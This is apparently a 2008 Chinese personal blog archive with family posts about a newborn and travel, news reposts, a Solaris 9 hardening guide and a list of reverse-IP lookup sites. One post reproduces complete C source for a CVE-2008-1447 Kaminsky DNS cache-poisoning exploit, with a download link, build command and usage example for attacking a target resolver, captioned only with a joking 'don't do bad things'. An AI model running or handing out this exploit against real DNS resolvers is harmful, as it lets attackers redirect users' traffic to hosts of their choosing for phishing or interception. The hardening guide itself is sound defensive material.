正在加载...
 
周岁留影  

 

 

浏览数(32) | 评论数(0) | 11-19 21:27
历史是一个轮回,地主阶级的出现为时不远了  

URL:http://news.sina.com.cn/c/2008-10-19/163016483381.shtml

 

中新网10月19日电 中国官方媒体今日授权全文播发了《中共中央关于推进农村改革发展若干重大问题的决定》。该文件由中共十七届三中全会通过。该文件中指出,按照依法自愿有偿原则,允许农民以转包、出租、互换、转让、股份合作等形式流转土地承包经营权,发展多种形式的适度规模经营。

  文件提到,有条件的地方可以发展专业大户、家庭农场、农民专业合作社等规模经营主体。土地承包经营权流转,不得改变土地集体所有性质,不得改变土地用途,不得损害农民土地承包权益。

 

 

 

 

哈哈,60年一个轮回吧,又是一个土地革命,这个对国力和GDP肯定是有好处的,但是小农民们,地主阶段出现为时不远了,估计再一个花甲,重新再次土地革命吧,历史总是反反复复的,唉,农民总是被算计的

标签:乱弹琴 | 浏览数(77) | 评论数(0) | 10-20 21:17
solaris 9 一般安全设置  

URL:http://chinaunix.net/jh/6/590171.html

 

 

solaris 9 一般安全设置


1. 选择合适的安装。

   只安装需要的软件包。
   本例为solaris9
   
2. 安装系统补丁
   
   从sunsolve.sun.com下载补丁
   unzip 9_Recommended.zip
   cd 9_Recommended
   ./install_cluster
   
3. 最小化启动服务

   a. 禁止不需要启动的服务。一般情况下服务都可禁止启动
     
      a.1 S01MOUNTFSYS
          Mount all local filesystems ,不能禁止
      a.2 S05RMTMPFILES 
          删除临时文件 需要启动
      a.3 S20sysetup
          系统设置     需要启动
      a.4 S21perf
          全部被注释掉了 。。。。。。
      a.5 S30sysid.net
          网络设置     需要启动
      a.6 S40llc2
          LLC2协议支持  需要启动
      a.7   S42ncakmod  
          ncakmod is used to start or stop the Solaris  Network  Cache
           and Accelerator ("NCA") kernel module      需要启动
      a.8 S47pppd
          ppp支持        不需要启动
          执行:mv S47pppd _S47pppd
      a.9 S69inet
          tcp/ip的配置   需要启动
      a.10    S70sckm
          Sun fire 15000  Key Management Daemon   不需要启动
          执行:mv S70sckm _S70sckm
      a.11 S70uucp
          Unix-to-Unix Copy                       不需要
          mv S70uucp _S70uucp
      a.12 S71ldap.client
          - 启动LDAP客户端                        不需要
          mv S71ldap.client _S71ldap.client
      a.13  S71rpc
          S71rpc + 启动rpcbind服务 rpcbind (RPC Portmap服务),如果需要CDE的话,这个进程是必需的  需要启动
      a.14 S71sysid.sys
          配置系统参数                            需要
      a.15 S72autoinstall
          当放入sun兼容的媒体介质时,会自动启动安装脚本  不需要
          mv S72autoinstall _S72autoinstall
      a.16 S72directory
          目录服务                                不需要
          mv S72directory _S72directory
      a.17 S72inetsvc 
          启动inet server,包含named/nis 如果不需要 named和nis服务,可以禁用    不需要
          mv S72inetsvc _S72inetsvc
      a.18 S72slpd 
          打印服务                                不需要
          mv S72slpd _S72slpd
           打印服务
          
      a.19 S73cachefs.daemon 
          NFS缓存服务,可以提高NFS吞吐率          不需要
          mv S73cachefs.daemon _S73cachefs.daemon
      a.20 S73mpsadm
          cluster 服务管理进程?                  不需要
          mv S73mpsadm _S73mpsadm
      a.21 S73nfs.client
            nfs客户端                             不需要
            mv S73nfs.client _S73nfs.client
      a.22 S74autofs
           当使用NFS时,这个进程会自动加载或卸载无用的用户网络文件系统 
           配置文件/etc/auto_home和auto_master 
           但是当没有使用nfs时,这个进程会对系统管理造成一些负面影响              不需要
           mv S74autofs _S74autofs
      a.23 S74syslog
           系统日志服务进程                  需要
      a.24 S74xntpd
           网络时间同步服务                  不需要
           mv S74xntpd _S74xntpd
      a.25 S75cron
           自动执行脚本服务                  需要
      a.26 S75flashprom
           看起来象一个flash更新脚本         需要
      a.27 S75savecore
           核心内存转储脚本                  需要
      a.28 S76nscd
           DNS名字缓存服务                   不需要
           mv S76nscd _S76nscd
      a.29 S77sf880dr
           针对V880机器的一个脚本            不需要
           mv  S77sf880dr _S77sf880dr
      a.30 S80lp
           打印服务                          不需要
           mv S80lp _S80lp
      a.31 S80spc
           还是打印服务                      不需要
           mv  S80spc _S80spc
      a.32 S85power
           电源管理                          需要
      a.33 S88sendmail                        
           邮件服务                          不需要
           mv S88sendmail _S88sendmail
      a.34 S88utmpd
           The  utmpd daemon  monitors  the  /var/adm/utmpx  file
           与帐号信息控制有关 ;      守护程序在规则的时间间隔内监控 /etc/utmp 文件以获得用户进程项的有效性。根据进程表
           交叉校验该项的进程标识来除去/etc/utmp 文件中已终止的但未清除的用户进程。         需要
      a.35  S89PRESERVE
            不知所云                         需要
      a.36 S90loc.ja.cssd
           看了脚本,不知到CS干吗            需要吧
      a.37 S90wbem
           WBEM,Solaris系统管理界面服务器,可以使用/usr/sadm/bin/smc 
           启动客户端程序连接管理            不需要
           mv S90wbem _S90wbem
      a.38 S91afbinit S91gfbinit   S91ifbinit   S91jfbinit 
           For systems with Elite3D Graphics  没有显卡的基本就不要了    不需要
           mv S91afbinit _S91afbinit
           mv S91gfbinit _S91gfbinit
           mv S91ifbinit _S91ifbinit
           mv S91jfbinit _S91jfbinit
      a.39 S91zuluinit
           Find out how many zulu cards are installed on the system  不需要
           mv S91zuluinit _S91zuluinit
            
      a.40 S93cacheos.finish
           cache文件系统             不需要
           mv S93cacheos.finish _S93cacheos.finish
      a.41 S94Wnn6
           日文输入系统               不需要
           mv S94Wnn6 _S94Wnn6
      a.42 S94ncalogd
           NCA进程日志                不需要
           mv S94ncalogd _S94ncalogd
      a.43 S95IIim 
           启动输入法守护进程 Solaris国际化支持的一部分,启动东亚语言输入法    需要
      a.44 S95svm.sync
           devfsadm ,devfs同步进程 监控系统硬件,使/dev与/devices设备文件同步 需要
      a.45 S98efcode
           embedded FCode interpreter daemon, efdaemon is used on selected platforms as part of the processing of some 
           dynamic reconfiguration events 不知道干吗的,           只好让他运行了
      a.46 S99atsv
           可能是支持日文的,机器上没装,         不需要
      a.47    S99audit
           审计进程                               需要
      a.48  S99dtlogin
           启动CDE登录进程 Solaris CDE图形界面启动进程   需要
      a.49 S99rcapd
           跟资源回收有关的                              需要
           
      rc3.d下面的
      a.50 S13kdc.master   S14kdc
           Kdc服务                                       不需要
           mv S13kdc.master    _S13kdc.master
           mv S14kdc    _S14kdc
      a.51 S15nfs.server
           nfs服务                                     不需要
           mv S15nfs.server _S15nfs.server
      a.52 S16boot.server
           远程启动服务                                不需要
           mv S16boot.server _S16boot.server
      a.53  S34dhcp
           dhcp服务                                    不需要    
           mv S34dhcp _S34dhcp
      a.54 S50apache
           http服务                                    不需要
           mv S50apache _S50apache
      a.55 S50san_driverchk
           San驱动检查?               机器上没装      不需要
           mv S50san_driverchk _S50san_driverchk
      a.56 S76snmpdx 
           启动snmp服务                                不需要     
           mv S76snmpdx _S76snmpdx
      a.57 S77dmi
           snmp的子服务                                不需要
           mv S77dmi _S77dmi
      a.58 S80mipagent
           启动Mobile IP 代理                          不需要
           mv S80mipagent _S80mipagent
      a.59  S81volmgt
           软盘光驱的卷管理                             需要
      a.60  S84appserv
           Sun one server的东东                         不需要
           mv S84appserv _S84appserv
      a.61 S89sshd 
                                                        需要
      a.62 S90samba                                              
           需要挂载windows文件系统才需要                不需要
           mv S90samba _S90samba
      a.63 S86directorysnmp
           跟Sun Directory目录服务有关                  不需要
           mv S86directorysnmp _S86directorysnmp           
      a.64 S99JESsplash
           不知道干吗                                   不需要
           mv S99JESsplash _S99JESsplash
           

      
           
           

       
       
      
          
   
   b. 与a相关的配置文件也可去除,使系统更加易于审计
   
4. 关闭inetd服务

   a. ssh作为telnet和ftp来说更安全。
   b. ssh作为启动服务并一直运行的时候,再将inetd服务器完全关闭。
   c. 必须运行inetd服务的时候一定需要:
      a.1. 只在inetd.conf里面保留需要服务的表项。
      a.2. 对保留使用的inetd服务表项使用tcp wrappers (tcpd进程)。
      a.3. 使用inetd -t 参数记录扩展的日志信息。
      
5. 调整内核

   5.1 减少arp过期时间 
       ndd  -set /dev/arp  arp_cleanup_interval 60000 
       //ndd  -set /dev/ip ip_ire_flush_interval 60000// solaris9 已经没有这个参数 
       
   5.2 IP Forwarding (IP转发)

       a. 关闭IP转发
          ndd -set /dev/ip ip_forwarding 0
       b. 严格限定多主宿主机,如果是多宿主机,还可以加上更严格的限定防止ip spoof的攻击 
          ndd -set /dev/ip ip_strict_dst_multihoming 1 
       c. 转发包广播由于在转发状态下默认是允许的,为了防止被用来实施smurf攻击,关闭这一特性 
          ndd -set /dev/ip ip_forward_directed_broadcasts 0 
   5.3 路由 

       a. 关闭转发源路由包 
          ndd -set /dev/ip ip_forward_src_routed 0 
   5.4 ICMP:网络控制信息协议
       a. 禁止响应Echo广播: 
          ndd -set /dev/ip ip_respond_to_echo_broadcast 0 
       b. 禁止响应时间戳广播 
          ndd -set /dev/ip ip_respond_to_timestamp_broadcast 0 
       c. 禁止响应地址掩码广播 
          ndd -set /dev/ip ip_respond_to_address_mask_broadcast 0 

   5.5 重定向错误 
       a. 禁止接受重定向错误 
          ndd -set /dev/ip ip_ignore_redirect 1 
       b. 禁止发送重定向错误报文 
          ndd -set /dev/ip ip_send_redirects 0 
       c. 禁止时间戳响应 
          ndd -set /dev/ip ip_respond_to_timestamp 0

   5.6 SYN_flood攻击又称半开式连接攻击,
       a. 将默认的队列值从1024提高到4096来降低受到攻击时的危害
          ndd -set /dev/tcp tcp_conn_req_max_q0 4096 
 
   5.7 连接耗尽攻击
       a. 将核心以连接队列参数(默认是128)增大到1024来预防这种攻击 
          ndd -set /dev/tcp tcp_conn_req_max_q 1024 

   5.8 防止IP 欺骗 

       对于solaris系统Tcp协议实现的ISN生成有三种方式。  
       0: 可预测的ISN 
       1: 增强的ISN 随机生成 
       2: RFC 1948描述的ISN生成方式 
       所有版本的solaris默认生成方式值是1。2.5.1只有 0,1两种方式,2.6/7拥有0,1,2三种ISN生成方式。 

       修改/etc/default/inetinit文件来提高ISN的生成强度。将 TCP_STRONG_ISS=1改为 TCP_STRONG_ISS=2重起系统生效。
 
   5.9 增加私有端口 
       一般的情况下,1-1024端口被称为私有端口,只允许具有根权限的进程连接。但是有些大于1 024的端口,即使需要这样的限制,
       却无法定义,如NFS的服务器端口2049,当然还有一些其他定义的高于1024的私有端口。 
       
       a. 自定义最小的非私有端口 
          ndd -set /dev/tcp tcp_smallest_nonpriv_port 2050 
          这样以来,0-2049都被定义为私有端口。
       b. 用来显示已经定义的扩展私有端口
          ndd /dev/tcp tcp_extra_priv_ports 
       c. 单独增加一个私有端口定义 
          ndd -set /dev/tcp tcp_extra_priv_ports_add 6112 
       d. 删除私有端口定义
          ndd -set /dev/tcp tcp_extra_priv_ports_del 6112
       e. 要注意的是,不要随便定义私有端口,因为有些非根权限的进程会使用这些端口。特别是改变最小非私有端口这个参数,
          经常会引起问题。应仔细分析你的需求再用扩展私有端口定义的方式单独增加。 
       f. ndd /dev/tcp tcp_extra_priv_ports  执行结果(某系统)
          2049 
          4045 
          9010 
          一共定义了3个私有端口
   5.10 其他内核参数的调整
        a. – Enable stack protection  直译为允许堆栈保护,应该使防止缓冲区溢出攻击
        You should definitely add the following two lines to your /etc/system file:
        set noexec_user_stack = 1
        set noexec_user_stack_log = 1
        b. – Prevent core dumps       避免核心内存转储
           coreadm -d process
        c. – Set limits on processes
        
6. 增强日志记录

   Definitely tweak syslog.conf to capture
auth.info and daemon.notice msgs
? Create /var/adm/loginlog
? Additional levels of logging:
– System accounting (sar and friends)
– Process accounting
– Kernel level auditing (BSM)

7. 保护文件系统

? File systems should either be mounted
"nosuid" or "ro" (read-only)
? Set "logging" option on root file system
if you're running Solaris 8 or later
? Don't forget removable media devices:
– Turn off vold if possible
– Make sure rmmount.conf sets "nosuid"

8. 设置警告信息

   两个文件 /etc/motd ;/etc/issue
   – /etc/default/{telnetd,ftpd}
   – EEPROM
   – GUI Login
   
9. 加强系统的访问控制

   9.1. 只允许root从console登陆
        CONSOLE=/dev/console is set in /etc/default/login
        sshd_config 里面设置 PermitRootLogin no
   9.2. 禁止或删除不用的帐号
        对不需要登陆的帐号,可将/etc/passwd文件中的shell选项修改为/bin/false 或者/dev/null
        
   9.3. 创建/etc/ftpusers 
        在该文件中未指定的用户才能使用ftp服务
   9.4. 禁止.rhosts支持
        a. 删除系统中的.rhosts文件
        b. 使用ssh的情况下,保证sshd_config文件中("IgnoreRhosts yes")
        c. /etc/pam_conf and remove any lines containing rhosts_auth, even if you've disabled rlogin/rcp.
   9.5. 限制对cron和at的访问
        cron.allow and at.allow列出有权运行提交修改cron和at任务的用户
   9.6. 设置eeprom到安全模式
        Setting "eeprom security-mode=command" will cause the machine to prompt for a password
        before boot-level commands are accepted. This prevents attackers with physical access from booting from
        alternate media (like a CD-ROM) and bypassing your system security.
   9.7. 限制xdmcp,设置锁定屏幕的屏保
        If you're running X Windows on the machine, make sure to disable remote XDMCP access in
        /etc/dt/config/Xaccess. You may also want to set a default locking screensaver timeout for your
        users in /etc/dt/config/*/sys.resources.
        
10. 安装安全工具

   10.1 至少的安全工具
   
        
        – SSH
        – TCP Wrappers
        – NTP
        – fix-modes
   10.2 增强工具
        – Tripwire, AIDE, etc.
        – Logsentry (formerly Logcheck) or Swatch
        – Host-based firewall, Portsentry, etc.

标签:技术文章 | 浏览数(144) | 评论数(0) | 09-08 15:17
奥运日blog之  

如题,做个记号

浏览数(235) | 评论数(1) | 08-08 09:29
这个比google地图爽多了  

 http://heroot.3322.org/

 

 

 

 

浏览数(230) | 评论数(0) | 08-02 16:13
如何查询在同一虚拟主机上域名  

 http://www.myipneighbors.com/    用这个.还可以查到2级域名

 

http://whois.webhosting.info/

 

http://www.rootkit.net.ru/tools

 

www.114best.com/ip

 

http://ip.wen.la

 

 

用于备录

浏览数(236) | 评论数(0) | 08-02 10:54
Exploit for CVE-2008-1447 - Kaminsky DNS Cache Poisoning Attack  

不要用来干坏事呀

 

download

www.i170.com/Attach/93B5A865-4122-4831-8CFE-950206894801

 

/*
 * Exploit for CVE-2008-1447 - Kaminsky DNS Cache Poisoning Attack
 *
 * Compilation:
 * $ gcc -o kaminsky-attack kaminsky-attack.c `dnet-config --libs` -lm
 *
 * Dependency: libdnet (aka libdumbnet-dev under Ubuntu)
 *
 * Author: marc.bevand at rapid7 dot com
 */

#define _BSD_SOURCE

#include <sys/types.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>
#include <time.h>
#include <unistd.h>
#include <dumbnet.h>

#define DNSF_RESPONSE      (1<<15)
#define DNSF_AUTHORITATIVE (1<<10)
#define DNSF_REC_DESIRED   (1<<8)
#define DNSF_REC_AVAILABLE (1<<7)

#define TYPE_A       0x1
#define TYPE_NS      0x2
#define CLASS_IN     0x1

struct dns_pkt
{
   uint16_t txid;
   uint16_t flags;
   uint16_t nr_quest;
   uint16_t nr_ans;
   uint16_t nr_auth;
   uint16_t nr_add;
} __attribute__ ((__packed__));

void format_domain(u_char *buf, unsigned size, unsigned *len, const char *name)
{
   unsigned bufi, i, j;
   bufi = i = j = 0;
   while (name[i])
   {
      if (name[i] == '.')
      {
         if (bufi + 1 + (i - j) > size)
            fprintf(stderr, "format_domain overflow\n"), exit(1);
         buf[bufi++] = i - j;
         memcpy(buf + bufi, name + j, i - j);
         bufi += i - j;
         j = i + 1;
      }
      i++;
   }
   if (bufi + 1 + 2 + 2 > size)
      fprintf(stderr, "format_domain overflow\n"), exit(1);
   buf[bufi++] = 0;
   *len = bufi;
}

void format_qr(u_char *buf, unsigned size, unsigned *len, const char *name, uint16_t type, uint16_t class)
{
   uint16_t tmp;
   // name
   format_domain(buf, size, len, name);
   // type
   tmp = htons(type);
   memcpy(buf + *len, &tmp, sizeof (tmp));
   *len += sizeof (tmp);
   // class
   tmp = htons(class);
   memcpy(buf + *len, &tmp, sizeof (tmp));
   *len += sizeof (tmp);
}

void format_rr(u_char *buf, unsigned size, unsigned *len, const char *name, uint16_t type, uint16_t class, uint32_t ttl, const char *data)
{
   format_qr(buf, size, len, name, type, class);
   // ttl
   ttl = htonl(ttl);
   memcpy(buf + *len, &ttl, sizeof (ttl));
   *len += sizeof (ttl);
   // data length + data
   uint16_t dlen;
   struct addr addr;
   switch (type)
   {
      case TYPE_A:
         dlen = sizeof (addr.addr_ip);
         break;
      case TYPE_NS:
         dlen = strlen(data) + 1;
         break;
      default:
         fprintf(stderr, "format_rr: unknown type %02x", type);
         exit(1);
   }
   dlen = htons(dlen);
   memcpy(buf + *len, &dlen, sizeof (dlen));
   *len += sizeof (dlen);
   // data
   unsigned len2;
   switch (type)
   {
      case TYPE_A:
         if (addr_aton(data, &addr) < 0)
            fprintf(stderr, "invalid destination IP: %s", data), exit(1);
         memcpy(buf + *len, &addr.addr_ip, sizeof (addr.addr_ip));
         *len += sizeof (addr.addr_ip);
         break;
      case TYPE_NS:
         format_domain(buf + *len, size - *len, &len2, data);
         *len += len2;
         break;
      default:
         fprintf(stderr, "format_rr: unknown type %02x", type);
         exit(1);
   }
}

void dns_query(u_char *buf, unsigned size, unsigned *len, uint16_t txid, uint16_t flags, const char *name)
{
   u_char *out = buf;
   struct dns_pkt p = {
      .txid = htons(txid),
      .flags = htons(flags),
      .nr_quest = htons(1),
      .nr_ans = htons(0),
      .nr_auth = htons(0),
      .nr_add = htons(0),
   };
   u_char qr[256];
   unsigned l;
   format_qr(qr, sizeof (qr), &l, name, TYPE_A, CLASS_IN);
   if (sizeof (p) + l > size)
      fprintf(stderr, "dns_query overflow"), exit(1);
   memcpy(out, &p, sizeof (p));
   out += sizeof (p);
   memcpy(out, qr, l);
   out += l;
   *len = sizeof (p) + l;
}

void dns_response(u_char *buf, unsigned size, unsigned *len,
      uint16_t txid, uint16_t flags,
      const char *q_name, const char *q_ip,
      const char *domain, const char *auth_name, const char *auth_ip)
{
   u_char *out = buf;
   u_char *end = buf + size;
   u_char rec[256];
   unsigned l_rec;
   uint32_t ttl = 24*3600;
   struct dns_pkt p = {
      .txid = htons(txid),
      .flags = htons(flags),
      .nr_quest = htons(1),
      .nr_ans = htons(1),
      .nr_auth = htons(1),
      .nr_add = htons(1),
   };
   (void)domain;
   *len = 0;
   if (out + *len + sizeof (p) > end)
      fprintf(stderr, "dns_response overflow"), exit(1);
   memcpy(out + *len, &p, sizeof (p)); *len += sizeof (p);
   // queries
   format_qr(rec, sizeof (rec), &l_rec, q_name, TYPE_A, CLASS_IN);
   if (out + *len + l_rec > end)
      fprintf(stderr, "dns_response overflow"), exit(1);
   memcpy(out + *len, rec, l_rec); *len += l_rec;
   // answers
   format_rr(rec, sizeof (rec), &l_rec, q_name, TYPE_A, CLASS_IN,
         ttl, q_ip);
   if (out + *len + l_rec > end)
      fprintf(stderr, "dns_response overflow"), exit(1);
   memcpy(out + *len, rec, l_rec); *len += l_rec;
   // authoritative nameservers
   format_rr(rec, sizeof (rec), &l_rec, domain, TYPE_NS, CLASS_IN,
         ttl, auth_name);
   if (out + *len + l_rec > end)
      fprintf(stderr, "dns_response overflow"), exit(1);
   memcpy(out + *len, rec, l_rec); *len += l_rec;
   // additional records
   format_rr(rec, sizeof (rec), &l_rec, auth_name, TYPE_A, CLASS_IN,
         ttl, auth_ip);
   if (out + *len + l_rec > end)
      fprintf(stderr, "dns_response overflow"), exit(1);
   memcpy(out + *len, rec, l_rec); *len += l_rec;
}

unsigned build_query(u_char *buf, const char *srcip, const char *dstip, const char *name)
{
   unsigned len = 0;
   // ip
   struct ip_hdr *ip = (struct ip_hdr *)buf;
   ip->ip_hl = 5;
   ip->ip_v = 4;
   ip->ip_tos = 0;
   ip->ip_id = rand() & 0xffff;
   ip->ip_off = 0;
   ip->ip_ttl = IP_TTL_MAX;
   ip->ip_p = 17; // udp
   ip->ip_sum = 0;
   struct addr addr;
   if (addr_aton(srcip, &addr) < 0)
      fprintf(stderr, "invalid source IP: %s", srcip), exit(1);
   ip->ip_src = addr.addr_ip;
   if (addr_aton(dstip, &addr) < 0)
      fprintf(stderr, "invalid destination IP: %s", dstip), exit(1);
   ip->ip_dst = addr.addr_ip;
   // udp
   struct udp_hdr *udp = (struct udp_hdr *)(buf + IP_HDR_LEN);
   udp->uh_sport = htons(1234);
   udp->uh_dport = htons(53);
   // dns
   dns_query(buf + IP_HDR_LEN + UDP_HDR_LEN,
         (unsigned)(sizeof (buf) - (IP_HDR_LEN + UDP_HDR_LEN)), &len,
         rand(), DNSF_REC_DESIRED, name);
   // udp len
   len += UDP_HDR_LEN;
   udp->uh_ulen = htons(len);
   // ip len & cksum
   len += IP_HDR_LEN;
   ip->ip_len = htons(len);
   ip_checksum(buf, len);
   return len;
}

unsigned build_response(u_char *buf, const char *srcip, const char *dstip,
      uint16_t port_resolver, uint16_t txid,
      const char *q_name, const char *q_ip,
      const char *domain, const char *auth_name, const char *auth_ip)
{
   unsigned len = 0;
   // ip
   struct ip_hdr *ip = (struct ip_hdr *)buf;
   ip->ip_hl = 5;
   ip->ip_v = 4;
   ip->ip_tos = 0;
   ip->ip_id = rand() & 0xffff;
   ip->ip_off = 0;
   ip->ip_ttl = IP_TTL_MAX;
   ip->ip_p = 17; // udp
   ip->ip_sum = 0;
   struct addr addr;
   if (addr_aton(srcip, &addr) < 0)
      fprintf(stderr, "invalid source IP: %s", srcip), exit(1);
   ip->ip_src = addr.addr_ip;
   if (addr_aton(dstip, &addr) < 0)
      fprintf(stderr, "invalid destination IP: %s", dstip), exit(1);
   ip->ip_dst = addr.addr_ip;
   // udp
   struct udp_hdr *udp = (struct udp_hdr *)(buf + IP_HDR_LEN);
   udp->uh_sport = htons(53);
   udp->uh_dport = htons(port_resolver);
   // dns
   dns_response(buf + IP_HDR_LEN + UDP_HDR_LEN,
         (unsigned)(sizeof (buf) - (IP_HDR_LEN + UDP_HDR_LEN)), &len,
         txid, DNSF_RESPONSE | DNSF_AUTHORITATIVE,
         q_name, q_ip, domain, auth_name, auth_ip);
   // udp len
   len += UDP_HDR_LEN;
   udp->uh_ulen = htons(len);
   // ip len & cksum
   len += IP_HDR_LEN;
   ip->ip_len = htons(len);
   ip_checksum(buf, len);
   return len;
}

void usage(char *name)
{
   fprintf(stderr, "Usage: %s <ip-querier> <ip-resolver> <ip-authoritative> "
         "<port-resolver> <subhost> <domain> <any-ip> <attempts> <repl-per-attempt>\n"
         "  <ip-querier>       Source IP used when sending queries for random hostnames\n"
         "                     (typically your IP)\n"
         "  <ip-resolver>      Target DNS resolver to attack\n"
         "  <ip-authoritative> One of the authoritative DNS servers for <domain>\n"
         "  <port-resolver>    Source port used by the resolver when forwarding queries\n"
         "  <subhost>          Poison the cache with the A record <subhost>.<domain>\n"
         "  <domain>           Domain name, see <subhost>.\n"
         "  <any-ip>           IP of your choice to be associated to <subhost>.<domain>\n"
         "  <attempts>         Number of poisoning attemps, more attempts increase the\n"
         "                     chance of successful poisoning, but also the attack time\n"
         "  <repl-per-attempt> Number of spoofed replies to send per attempt, more replies\n"
         "                     increase the chance of successful poisoning but, but also\n"
         "                     the rate of packet loss\n"
         "Example:\n"
         "  $ %s q.q.q.q r.r.r.r a.a.a.a 1234 pwned example.com. 1.1.1.1 8192 16\n"
         "This should cause a pwned.example.com A record resolving to 1.1.1.1 to appear\n"
         "in r.r.r.r's cache. The chance of successfully poisoning the resolver with\n"
         "this example (8192 attempts and 16 replies/attempt) is 86%%\n"
         "(1-(1-16/65536)**8192). This example also requires a bandwidth of about\n"
         "2.6 Mbit/s (16 replies/attempt * ~200 bytes/reply * 100 attempts/sec *\n"
         "8 bits/byte) and takes about 80 secs to complete (8192 attempts /\n"
         "100 attempts/sec).\n",
         name, name);
}

int main(int argc, char **argv)
{
   if (argc != 10)
      usage(argv[0]), exit(1);
   const char *querier = argv[1];
   const char *ip_resolver = argv[2];
   const char *ip_authoritative = argv[3];
   uint16_t port_resolver = (uint16_t)strtoul(argv[4], NULL, 0);
   const char *subhost = argv[5];
   const char *domain = argv[6];
   const char *anyip = argv[7];
   uint16_t attempts = (uint16_t)strtoul(argv[8], NULL, 0);
   uint16_t replies = (uint16_t)strtoul(argv[9], NULL, 0);
   if (domain[strlen(domain) - 1 ] != '.')
      fprintf(stderr, "domain must end with dot(.): %s\n", domain), exit(1);
   printf("Chance of success: 1-(1-%d/65536)**%d = %.2f\n", replies, attempts, 1 - pow((1 - replies / 65536.), attempts));
   srand(time(NULL));
   int unique = rand() + (rand() << 16);
   u_char buf[IP_LEN_MAX];
   unsigned len;
   char name[256];
   char ns[256];
   ip_t *iph;
   if ((iph = ip_open()) == NULL)
      err(1, "ip_open");
   int cnt = 0;
   while (cnt < attempts)
   {
      // send a query for a random hostname
      snprintf(name, sizeof (name), "%08x%08x.%s", unique, cnt, domain);
      len = build_query(buf, querier, ip_resolver, name);
      if (ip_send(iph, buf, len) != len)
         err(1, "ip_send");
      // give the resolver enough time to forward the query and be in a state
      // where it waits for answers; sleeping 10ms here limits the number of
      // attempts to 100 per sec
      usleep(10000);
      // send spoofed replies, each reply contains:
      // - 1 query: query for the "random hostname"
      // - 1 answer: "random hostname" A 1.1.1.1
      // - 1 authoritative nameserver: <domain> NS <subhost>.<domain>
      // - 1 additional record: <subhost>.<domain> A <any-ip>
      snprintf(ns, sizeof (ns), "%s.%s", subhost, domain);
      unsigned r;
      for (r = 0; r < replies; r++)
      {
         // use a txid that is just 'r': 0..(replies-1)
         len = build_response(buf, ip_authoritative, ip_resolver,
               port_resolver, r, name, "1.1.1.1", domain, ns, anyip);
         if (ip_send(iph, buf, len) != len)
            err(1, "ip_send");
      }
      cnt++;
   }
   ip_close(iph);
   return 0;
}

// milw0rm.com [2008-07-25]

标签:技术文章 | 浏览数(287) | 评论数(1) | 07-29 20:50
baby 8 monthes  

baby 8 monthes

 

 

&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

浏览数(312) | 评论数(2) | 07-24 08:27
满5月沐浴中  

 

 

 

 

 

 

 

浏览数(545) | 评论数(2) | 04-20 15:02
Baby Dad Computer Network  

 

 

浏览数(557) | 评论数(2) | 04-20 14:56
国务院之清明节放假通知  

http://news.sina.com.cn/c/2008-03-14/065915146555.shtml

 

根据国务院办公厅通知精神,现将2008年清明节放假安排通知如下:

  4月4日至6日放假,共3天。

  其中,4月4日(清明节)为法定节假日,4月5日(星期六)、4月6日(星期日)照常公休。各企事业单位可根据生产和工作情况自行安排。节日期间,各单位要加强值班,认真做好防火、安全保卫和卫生防疫等各项工作。

  北京市人民政府办公厅二○○八年三月十四日

 

 

浏览数(716) | 评论数(0) | 03-14 13:33
来到了传说中的香格里拉,彻骨的冷  

来到了传说中的香格里拉,晚上零下十几度,大高原,冷得彻骨,远处的山上挂着白雪,水里结着冷,香格里拉市中心美丽的人工喷泉,喷泉二三十米高,可是喷泉池里结着厚厚的冰

 

大街上中午太阳睛好,人比较多,早上出来,街上就我们几个,一出来就感觉到刀子划向我的脸、手和我的裤管,哪叫一个冷 

这几天天气睛好,还好,看天气预报,两三天后要下雪,怎么办啊

 

而过几天还要去怒江,那可是大雪山啊

 

浏览数(1918) | 评论数(6) | 01-10 00:18
元旦快乐  

元旦快乐!

2008快乐!

浏览数(658) | 评论数(2) | 01-01 09:26
为我的宝贝写一点  

深夜了,给我的宝宝写一点

 

从湖南老家过来广州有两天了,愈发想念我的宝宝

 

宝宝到今天出生有12天了

 

我的宝宝

一出生头发就黑黑的,长长的,密密的,这点很象他爸爸小时候。

 

两只小手手张得大大的,指头伸得很开,一看将来又是个不聚财的家伙,这个象极了他爸爸妈妈.

 

也不怎么哭闹,吃完了就睡,饿了就会哭两声来提醒,就是吃奶的时间有些长,把他妈妈累得够怆,一顿奶可以吃两三个小时,分两次吃,第一次睡醒了哭两声,就知道要吃奶了,吃了一半不吃了,这会儿就知道要大小便了,大小便完了又继续吃,吃完了就满足的睡去,睡着的时候打着饱嗝,一下一下的。

 

要大小便了也会哭两声来提醒,所以很多时候就不会把大小便拉到尿片上,要大便之前还会放个屁来预告一下,如果要小便,小JJ头会被尿涨得挺挺的,让你一见就知道马上要拉尿了

 

白天醒着的时间不多,醒着的时候眼睛睁着爸爸的脸,眼珠子一转一转的,受不了强光,在医院的时候日光灯太强了,一打开灯灯光直射到眼睛就闭上了,在家钨丝灯(不敢开日光灯了)柔和的灯光宝宝很喜欢。晚上就闹腾了,而且晚上吃奶的时间特别长,一顿奶两三个小时大多在晚上,折腾他妈妈,爸爸又要起来给妈妈弄吃的去,妈妈给他吃饿了。

 

爷爷奶奶也象个孩子一样,要跟妈妈抢着晚上和宝宝一起睡,现在爸爸来广州了,奶奶如愿以偿的跑到妈妈房间整晚上的陪着宝宝了。爷爷坐不住了,要把宝宝晚上抱过去,吃奶时送过来给妈妈,说和爷爷睡整晚上不哭不闹腾宝宝最乖了,并说在医院里有两晚爷爷抱着整晚上都安安静静的,这倒让我感受到了爷爷招呼小孩的功夫,是啊,我们兄弟几个都是他养大的。

 

